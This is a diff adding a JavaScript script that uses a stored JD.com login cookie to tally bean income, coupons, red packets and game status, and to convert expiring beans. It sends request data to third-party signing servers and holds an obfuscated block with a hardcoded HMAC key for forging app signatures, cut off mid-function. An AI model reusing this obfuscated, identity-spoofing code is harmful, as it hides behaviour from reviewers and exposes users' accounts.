+ } else if (response && response.code === "3") { + console.log(`cookie已过期,或者填写不规范,跳出`) + t = 1; + } else { + console.log(`未知情况:${JSON.stringify(response)}`); + console.log(`未知情况,跳出`) + t = 1; + } + } while (t === 0); + for (let item of yesterdayArr) { + if (Number(item.amount) > 0) { + $.incomeBean += Number(item.amount); + } else if (Number(item.amount) < 0) { + $.expenseBean += Number(item.amount); + } + } + for (let item of todayArr) { + if (Number(item.amount) > 0) { + $.todayIncomeBean += Number(item.amount); + } else if (Number(item.amount) < 0) { + $.todayOutcomeBean += Number(item.amount); + } + } + $.todayOutcomeBean = -$.todayOutcomeBean; + $.expenseBean = -$.expenseBean; + + decExBean =0; + await queryexpirejingdou();//过期京豆 + if(decExBean && doExJxBeans=="true"){ + var jxbeans = await exchangejxbeans(decExBean); + if (jxbeans) { + $.beanChangeXi=decExBean; + console.log(`已为您将`+decExBean+`临期京豆转换成喜豆!`); + strGuoqi += `已为您将`+decExBean+`临期京豆转换成喜豆!\n`; + } + } + + await redPacket(); + await getCoupon(); +} + +async function Monthbean() { + let time = new Date(); + let year = time.getFullYear(); + let month = parseInt(time.getMonth()); //取上个月 + if (month == 0) { + //一月份,取去年12月,所以月份=12,年份减1 + month = 12; + year -= 1; + } + + //开始时间 时间戳 + let start = new Date(year + "-" + month + "-01 00:00:00").getTime(); + console.log(`计算月京豆起始日期:` + GetDateTime(new Date(year + "-" + month + "-01 00:00:00"))); + + //结束时间 时间戳 + if (month == 12) { + //取去年12月,进1个月,所以月份=1,年份加1 + month = 1; + year += 1; + } + let end = new Date(year + "-" + (month + 1) + "-01 00:00:00").getTime(); + console.log(`计算月京豆结束日期:` + GetDateTime(new Date(year + "-" + (month + 1) + "-01 00:00:00"))); + + let allpage = 1, + allt = 0, + allyesterdayArr = []; + do { + let response = await getJingBeanBalanceDetail(allpage); + await $.wait(1000); + // console.log(`第${allpage}页: ${JSON.stringify(response)}`); + if (response && response.code === "0") { + allpage++; + let detailList = response.detailList; + if (detailList && detailList.length > 0) { + for (let item of detailList) { + const date = item.date.replace(/-/g, '/') + "+08:00"; + if (start <= new Date(date).getTime() && new Date(date).getTime() < end) { + //日期区间内的京豆记录 + allyesterdayArr.push(item); + } else if (start > new Date(date).getTime()) { + //前天的 + allt = 1; + break; + } + } + } else { + $.errorMsg = `数据异常`; + $.msg($.name, ``, `账号${$.index}:${$.nickName}\n${$.errorMsg}`); + allt = 1; + } + } else if (response && response.code === "3") { + console.log(`cookie已过期,或者填写不规范,跳出`) + allt = 1; + } else { + console.log(`未知情况:${JSON.stringify(response)}`); + console.log(`未知情况,跳出`) + allt = 1; + } + } while (allt === 0); + + for (let item of allyesterdayArr) { + if (Number(item.amount) > 0) { + $.allincomeBean += Number(item.amount); + } else if (Number(item.amount) < 0) { + $.allexpenseBean += Number(item.amount); + } + } + +} + +async function jdCash() { + let functionId = "cash_homePage"; + let body = {}; + console.log(`正在获取领现金任务签名...`); + isSignError = false; + let sign = await getSign(functionId, body); + if (isSignError) { + console.log(`领现金任务签名获取失败,等待2秒后再次尝试...`) + await $.wait(2 * 1000); + isSignError = false; + sign =await getSign(functionId, body); + } + if (isSignError) { + console.log(`领现金任务签名获取失败,等待2秒后再次尝试...`) + await $.wait(2 * 1000); + isSignError = false; + sign = await getSign(functionId, body); + } + if (!isSignError) { + console.log(`领现金任务签名获取成功...`) + } else { + console.log(`领现金任务签名获取失败...`) + $.jdCash = 0; + return + } + return new Promise((resolve) => { + $.post(apptaskUrl(functionId, sign), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`jdCash API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.data.result) { + $.jdCash = data.data.result.totalMoney || 0; + return + } + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(data); + } + }) + }) +} +function apptaskUrl(functionId = "", body = "") { + return { + url: `${JD_API_HOST}?functionId=${functionId}`, + body, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Referer': '', + 'User-Agent': 'JD4iPhone/167774 (iPhone; iOS 14.7.1; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} +function getSign(functionId, body) { + return new Promise(async resolve => { + let data = { + functionId, + body: JSON.stringify(body), + "client":"apple", + "clientVersion":"10.3.0" + } + let HostArr = ['jdsign.cf', 'signer.nz.lu'] + let Host = HostArr[Math.floor((Math.random() * HostArr.length))] + let options = { + url: `https://cdn.nz.lu/ddo`, + body: JSON.stringify(data), + headers: { + Host, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + }, + timeout: 30 * 1000 + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} getSign API请求失败,请检查网路重试`) + } else { + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Cookie: cookie, + "User-Agent": "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + $.levelName = data.data.userInfo.baseInfo.levelName; + $.isPlusVip = data.data.userInfo.isPlusVip; + + } + if (data['retcode'] === '0' && data.data && data.data['assetInfo']) { + $.beanCount = data.data && data.data['assetInfo']['beanNum']; + } else { + $.errorMsg = `数据异常`; + } + } else { + $.log('京东服务器返回空数据,将无法获取等级及VIP信息'); + } + } + } catch (e) { + $.logErr(e) + } + finally { + resolve(); + } + }) + }) +} +function TotalBean2() { + return new Promise(async(resolve) => { + const options = { + url: `https://wxapp.m.jd.com/kwxhome/myJd/home.json?&useGuideModule=0&bizId=&brandId=&fromType=wxapp×tamp=${Date.now()}`, + headers: { + Cookie: cookie, + 'content-type': `application/x-www-form-urlencoded`, + Connection: `keep-alive`, + 'Accept-Encoding': `gzip,compress,br,deflate`, + Referer: `https://servicewechat.com/wxa5bf5ee667d91626/161/page-frame.html`, + Host: `wxapp.m.jd.com`, + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.10(0x18000a2a) NetType/WIFI Language/zh_CN`, + }, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err); + } else { + if (data) { + data = JSON.parse(data); + if (!data.user) { + return; + } + const userInfo = data.user; + if (userInfo) { + if (!$.nickName) + $.nickName = userInfo.petName; + if ($.beanCount == 0) { + $.beanCount = userInfo.jingBean; + $.isPlusVip = 3; + } + $.JingXiang = userInfo.uclass; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e); + } + finally { + resolve(); + } + }); + }); +} + +function isLoginByX1a0He() { + return new Promise((resolve) => { + const options = { + url: 'https://plogin.m.jd.com/cgi-bin/ml/islogin', + headers: { + "Cookie": cookie, + "referer": "https://h5.m.jd.com/", + "User-Agent": "jdapp;iPhone;10.1.2;15.0;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + } + $.get(options, (err, resp, data) => { + try { + if (data) { + data = JSON.parse(data); + if (data.islogin === "1") { + console.log(`使用X1a0He写的接口加强检测: Cookie有效\n`) + } else if (data.islogin === "0") { + $.isLogin = false; + console.log(`使用X1a0He写的接口加强检测: Cookie无效\n`) + } else { + console.log(`使用X1a0He写的接口加强检测: 未知返回,不作变更...\n`) + $.error = `${$.nickName} :` + `使用X1a0He写的接口加强检测: 未知返回...\n` + } + } + } catch (e) { + console.log(e); + } + finally { + resolve(); + } + }); + }); +} + +function getJingBeanBalanceDetail(page) { + return new Promise(async resolve => { + const options = { + "url": `https://api.m.jd.com/client.action?functionId=getJingBeanBalanceDetail`, + "body": `body=${escape(JSON.stringify({"pageSize": "20", "page": page.toString()}))}&appid=ld`, + "headers": { + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Host': 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Cookie': cookie, + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`getJingBeanBalanceDetail API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + // console.log(data) + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(data); + } + }) + }) +} +function queryexpirejingdou() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/activep3/singjd/queryexpirejingdou?_=${Date.now()}&g_login_type=1&sceneval=2`, + "headers": { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Host": "wq.jd.com", + "Referer": "https://wqs.jd.com/promote/201801/bean/mybean.html", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Mobile/15E148 Safari/604.1" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`queryexpirejingdou API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data.slice(23, -13)); + if (data.ret === 0) { + data['expirejingdou'].map(item => { + if(item['expireamount']!=0){ + strGuoqi+=`【${timeFormat(item['time'] * 1000)}】过期${item['expireamount']}豆\n`; + if (decExBean==0) + decExBean=item['expireamount']; + } + }) + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} +function exchangejxbeans(o) { + return new Promise(async resolve => { + var UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + var JXUA = `jdpingou;iPhone;4.13.0;14.4.2;${UUID};network/wifi;model/iPhone10,2;appBuild/100609;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148`; + const options = { + "url": `https://m.jingxi.com/deal/masset/jd2xd?use=${o}&canpintuan=&setdefcoupon=0&r=${Math.random()}&sceneval=2`, + "headers": { + "Host": "m.jingxi.com", + "Accept": "*/*", + "Cookie": cookie, + "Connection": "keep-alive", + "User-Agent": JXUA, + "Accept-Language": "zh-cn", + "Referer": "https://m.jingxi.com/deal/confirmorder/main", + "Accept-Encoding": "gzip, deflate, br", + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(err); + } else { + data = JSON.parse(data); + if (data && data.data && JSON.stringify(data.data) === '{}') { + console.log(JSON.stringify(data)) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data || {}); + } + }) + }) +} +function getUUID(x = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", t = 0) { + return x.replace(/[xy]/g, function (x) { + var r = 16 * Math.random() | 0, + n = "x" == x ? r : 3 & r | 8; + return uuid = t ? n.toString(36).toUpperCase() : n.toString(36), + uuid + }) +} + +function redPacket() { + return new Promise(async resolve => { + const options = { + "url": `https://m.jingxi.com/user/info/QueryUserRedEnvelopesV2?type=1&orgFlag=JD_PinGou_New&page=1&cashRedType=1&redBalanceFlag=1&channel=1&_=${+new Date()}&sceneval=2&g_login_type=1&g_ty=ls`, + "headers": { + 'Host': 'm.jingxi.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Accept-Language': 'zh-cn', + 'Referer': 'https://st.jingxi.com/my/redpacket.shtml?newPg=App&jxsid=16156262265849285961', + 'Accept-Encoding': 'gzip, deflate, br', + "Cookie": cookie, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`redPacket API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data).data; + $.jxRed = 0, + $.jsRed = 0, + $.jdRed = 0, + $.jdhRed = 0, + $.jxRedExpire = 0, + $.jsRedExpire = 0, + $.jdRedExpire = 0, + $.jdhRedExpire = 0; + let t = new Date(); + t.setDate(t.getDate() + 1); + t.setHours(0, 0, 0, 0); + t = parseInt((t - 1) / 1000); + for (let vo of data.useRedInfo.redList || []) { + if (vo.orgLimitStr && vo.orgLimitStr.includes("京喜")) { + $.jxRed += parseFloat(vo.balance) + if (vo['endTime'] === t) { + $.jxRedExpire += parseFloat(vo.balance) + } + } else if (vo.activityName.includes("极速版")) { + $.jsRed += parseFloat(vo.balance) + if (vo['endTime'] === t) { + $.jsRedExpire += parseFloat(vo.balance) + } + } else if (vo.orgLimitStr && vo.orgLimitStr.includes("京东健康")) { + $.jdhRed += parseFloat(vo.balance) + if (vo['endTime'] === t) { + $.jdhRedExpire += parseFloat(vo.balance) + } + } else { + $.jdRed += parseFloat(vo.balance) + if (vo['endTime'] === t) { + $.jdRedExpire += parseFloat(vo.balance) + } + } + } + $.jxRed = $.jxRed.toFixed(2); + $.jsRed = $.jsRed.toFixed(2); + $.jdRed = $.jdRed.toFixed(2); + $.jdhRed = $.jdhRed.toFixed(2); + $.balance = data.balance; + $.expiredBalance = ($.jxRedExpire + $.jsRedExpire + $.jdRedExpire).toFixed(2); + $.message += `【红包总额】${$.balance}(总过期${$.expiredBalance})元 \n`; + if ($.jxRed > 0) + $.message += `【京喜红包】${$.jxRed}(将过期${$.jxRedExpire.toFixed(2)})元 \n`; + if ($.jsRed > 0) + $.message += `【极速红包】${$.jsRed}(将过期${$.jsRedExpire.toFixed(2)})元 \n`; + if ($.jdRed > 0) + $.message += `【京东红包】${$.jdRed}(将过期${$.jdRedExpire.toFixed(2)})元 \n`; + if ($.jdhRed > 0) + $.message += `【健康红包】${$.jdhRed}(将过期${$.jdhRedExpire.toFixed(2)})元 \n`; + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(data); + } + }) + }) +} + +function getCoupon() { + return new Promise(resolve => { + let options = { + url: `https://wq.jd.com/activeapi/queryjdcouponlistwithfinance?state=1&wxadd=1&filterswitch=1&_=${Date.now()}&sceneval=2&g_login_type=1&callback=jsonpCBKB&g_ty=ls`, + headers: { + 'authority': 'wq.jd.com', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept': '*/*', + 'referer': 'https://wqs.jd.com/', + 'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8', + 'cookie': cookie + } + } + $.get(options, async(err, resp, data) => { + try { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + let couponTitle = ''; + let couponId = ''; + // 删除可使用且非超市、生鲜、京贴; + let useable = data.coupon.useable; + $.todayEndTime = new Date(new Date(new Date().getTime()).setHours(23, 59, 59, 999)).getTime(); + $.tomorrowEndTime = new Date(new Date(new Date().getTime() + 24 * 60 * 60 * 1000).setHours(23, 59, 59, 999)).getTime(); + $.platFormInfo=""; + for (let i = 0; i < useable.length; i++) { + //console.log(useable[i]); + if (useable[i].limitStr.indexOf('全品类') > -1) { + $.beginTime = useable[i].beginTime; + if ($.beginTime < new Date().getTime() && useable[i].quota < 20 && useable[i].coupontype === 1) { + //$.couponEndTime = new Date(parseInt(useable[i].endTime)).Format('yyyy-MM-dd'); + $.couponName = useable[i].limitStr; + if (useable[i].platFormInfo) + $.platFormInfo = useable[i].platFormInfo; + + $.message += `【全品类券】满${useable[i].quota}减${useable[i].discount}元`; + + if (useable[i].endTime < $.todayEndTime) { + $.message += `(今日过期,${$.platFormInfo})\n`; + } else if (useable[i].endTime < $.tomorrowEndTime) { + $.message += `(明日将过期,${$.platFormInfo})\n`; + } else { + $.message += `(${$.platFormInfo})\n`; + } + + } + } + if (useable[i].couponTitle.indexOf('运费券') > -1 && useable[i].limitStr.indexOf('自营商品运费') > -1) { + if (!$.YunFeiTitle) { + $.YunFeiTitle = useable[i].couponTitle; + $.YunFeiQuanEndTime = new Date(parseInt(useable[i].endTime)).Format('yyyy-MM-dd'); + $.YunFeiQuan += 1; + } else { + if ($.YunFeiTitle == useable[i].couponTitle) { + $.YunFeiQuanEndTime = new Date(parseInt(useable[i].endTime)).Format('yyyy-MM-dd'); + $.YunFeiQuan += 1; + } else { + if (!$.YunFeiTitle2) + $.YunFeiTitle2 = useable[i].couponTitle; + + if ($.YunFeiTitle2 == useable[i].couponTitle) { + $.YunFeiQuanEndTime2 = new Date(parseInt(useable[i].endTime)).Format('yyyy-MM-dd'); + $.YunFeiQuan2 += 1; + } + } + + } + + } + /* if (useable[i].couponTitle.indexOf('极速版APP活动') > -1) { + $.couponEndTime = useable[i].endTime; + $.startIndex = useable[i].couponTitle.indexOf('-') - 3; + $.endIndex = useable[i].couponTitle.indexOf('元') + 1; + $.couponName = useable[i].couponTitle.substring($.startIndex, $.endIndex); + + if ($.couponEndTime < $.todayEndTime) { + $.message += `【极速版券】${$.couponName}(今日过期)\n`; + } else if ($.couponEndTime < $.tomorrowEndTime) { + $.message += `【极速版券】${$.couponName}(明日将过期)\n`; + } else { + $.couponEndTime = timeFormat(parseInt($.couponEndTime)); + $.message += `【极速版券】${$.couponName}(有效期至${$.couponEndTime})\n`; + } + + } */ + //8是支付券, 7是白条券 + if (useable[i].couponStyle == 7 || useable[i].couponStyle == 8) { + $.beginTime = useable[i].beginTime; + if ($.beginTime > new Date().getTime() || useable[i].quota > 50 || useable[i].coupontype != 1) { + continue; + } + + if (useable[i].couponStyle == 8) { + $.couponType = "支付立减"; + }else{ + $.couponType = "白条优惠"; + } + if(useable[i].discount { + $.get(taskJDZZUrl("interactTaskIndex"), async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`京东赚赚API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.JdzzNum = data.data.totalNum; + } + } + } catch (e) { + //$.logErr(e, resp) + console.log(`京东赚赚数据获取失败`); + } + finally { + resolve(data); + } + }) + }) +} + +function taskJDZZUrl(functionId, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=9.1.0`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/json', + 'Referer': 'http://wq.jd.com/wxapp/pages/hd-interaction/index/index', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} + +function getMs() { + return new Promise(resolve => { + $.post(taskMsPostUrl('homePageV2', {}, 'appid=SecKill2020'), (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`getMs API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + //console.log("Debug :" + JSON.stringify(data)); + data = JSON.parse(data); + if (data.result.assignment.assignmentPoints) { + $.JdMsScore = data.result.assignment.assignmentPoints || 0 + } + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(data); + } + }) + }) +} + +function taskMsPostUrl(function_id, body = {}, extra = '', function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&${extra}`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/babelDiy/Zeus/2NUvze9e1uWf4amBhe1AV6ynmSuH/index.html", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +async function getjdfruit() { + return new Promise(resolve => { + const option = { + url: `${JD_API_HOST}?functionId=initForFarm`, + body: `body=${escape(JSON.stringify({"version":4}))}&appid=wh5&clientVersion=9.1.0`, + headers: { + "accept": "*/*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9", + "cache-control": "no-cache", + "cookie": cookie, + "origin": "https://home.m.jd.com", + "pragma": "no-cache", + "referer": "https://home.m.jd.com/myJd/newhome.action", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "same-site", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Content-Type": "application/x-www-form-urlencoded" + }, + timeout: 10000, + }; + $.post(option, (err, resp, data) => { + try { + if (err) { + console.log('\n东东农场: API查询请求失败 ‼️‼️'); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + if (safeGet(data)) { + $.farmInfo = JSON.parse(data) + if ($.farmInfo.farmUserPro) { + $.JdFarmProdName = $.farmInfo.farmUserPro.name; + $.JdtreeEnergy = $.farmInfo.farmUserPro.treeEnergy; + $.JdtreeTotalEnergy = $.farmInfo.farmUserPro.treeTotalEnergy; + $.treeState = $.farmInfo.treeState; + let waterEveryDayT = $.JDwaterEveryDayT; + let waterTotalT = ($.farmInfo.farmUserPro.treeTotalEnergy - $.farmInfo.farmUserPro.treeEnergy - $.farmInfo.farmUserPro.totalEnergy) / 10; //一共还需浇多少次水 + let waterD = Math.ceil(waterTotalT / waterEveryDayT); + + $.JdwaterTotalT = waterTotalT; + $.JdwaterD = waterD; + } + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} + +function jdfruitRequest(function_id, body = {}, timeout = 1000) { + return new Promise(resolve => { + setTimeout(() => { + $.get(taskfruitUrl(function_id, body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东农场: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + console.log(`function_id:${function_id}`) + $.logErr(err); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.JDwaterEveryDayT = data.totalWaterTaskInit.totalWaterTaskTimes; + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }) + }, timeout) + }) +} + +async function PetRequest(function_id, body = {}) { + await $.wait(3000); + return new Promise((resolve, reject) => { + $.post(taskPetUrl(function_id, body), (err, resp, data) => { + try { + if (err) { + llPetError=true; + console.log('\n东东萌宠: API查询请求失败 ‼️‼️'); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data) + } + }) + }) +} +function taskPetUrl(function_id, body = {}) { + body["version"] = 2; + body["channel"] = 'app'; + return { + url: `${JD_API_HOST}?functionId=${function_id}`, + body: `body=${escape(JSON.stringify(body))}&appid=wh5&loginWQBiz=pet-town&clientVersion=9.0.4`, + headers: { + 'Cookie': cookie, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Host': 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + } + }; +} + +function taskfruitUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&appid=wh5&body=${escape(JSON.stringify(body))}`, + headers: { + Cookie: cookie, + UserAgent: $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + }, + timeout: 10000, + } +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function cash() { + return new Promise(resolve => { + $.get(taskcashUrl('MyAssetsService.execute', { + "method": "userCashRecord", + "data": { + "channel": 1, + "pageNum": 1, + "pageSize": 20 + } + }), + async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`cash API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.goldBalance) + $.JDtotalcash = data.data.goldBalance; + else + console.log(`领现金查询失败,服务器没有返回具体值.`) + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(data); + } + }) + }) +} + +var __Oxb24bc = ["lite-android&", "stringify", "&android&3.1.0&", "&", "&846c4c32dae910ef", "12aea658f76e453faf803d15c40a72e0", "isNode", "crypto-js", "", "api?functionId=", "&body=", "&appid=lite-android&client=android&uuid=846c4c32dae910ef&clientVersion=3.1.0&t=", "&sign=", "api.m.jd.com", "*/*", "RN", "JDMobileLite/3.1.0 (iPad; iOS 14.4; Scale/2.00)", "zh-Hans-CN;q=1, ja-CN;q=0.9", "undefined", "log", "", "", "", "", "jsjia", "mi.com"]; + +function taskcashUrl(_0x7683x2, _0x7683x3 = {}) { + let _0x7683x4 = +new Date(); + let _0x7683x5 = `${__Oxb24bc[0x0]}${JSON[__Oxb24bc[0x1]](_0x7683x3)}${__Oxb24bc[0x2]}${_0x7683x2}${__Oxb24bc[0x3]}${_0x7683x4}${__Oxb24bc[0x4]}`; + let _0x7683x6 = __Oxb24bc[0x5]; + const _0x7683x7 = $[__Oxb24bc[0x6]]() ? require(__Oxb24bc[0x7]) : CryptoJS; + let _0x7683x8 = _0x7683x7.HmacSHA256(_0x7683x5, _0x7683x6).toString(); + return { + url: `${__Oxb24bc[0x8]}${JD_API_HOST}${__Oxb24bc[0x9]}${_0x7683x2}${__Oxb24bc[0xa]}${escape(JSON[__Oxb24bc[0x1]](_0x7683x3))}${__Oxb24bc[0xb]}${_0x7683x4}${__Oxb24bc[0xc]}${_0x7683x8}${__Oxb24bc[0x8]}`, + headers: { + 'Host': __Oxb24bc[0xd], + 'accept': __Oxb24bc[0xe], + 'kernelplatform': __Oxb24bc[0xf], + 'user-agent': __Oxb24bc[0x10], + 'accept-language': __Oxb24bc[0x11], + 'Cookie': cookie + } + } +} +(function (_0x7683x9, _0x7683xa, _0x7683xb, _0x7683xc, _0x7683xd, _0x7683xe) { + _0x7683xe = __Oxb24bc[0x12]; + _0x7683xc = function (_0x7683xf) { + if (typeof alert !== _0x7683xe) { + alert(_0x7683xf) + }; + if (typeof console !== _0x7683xe) 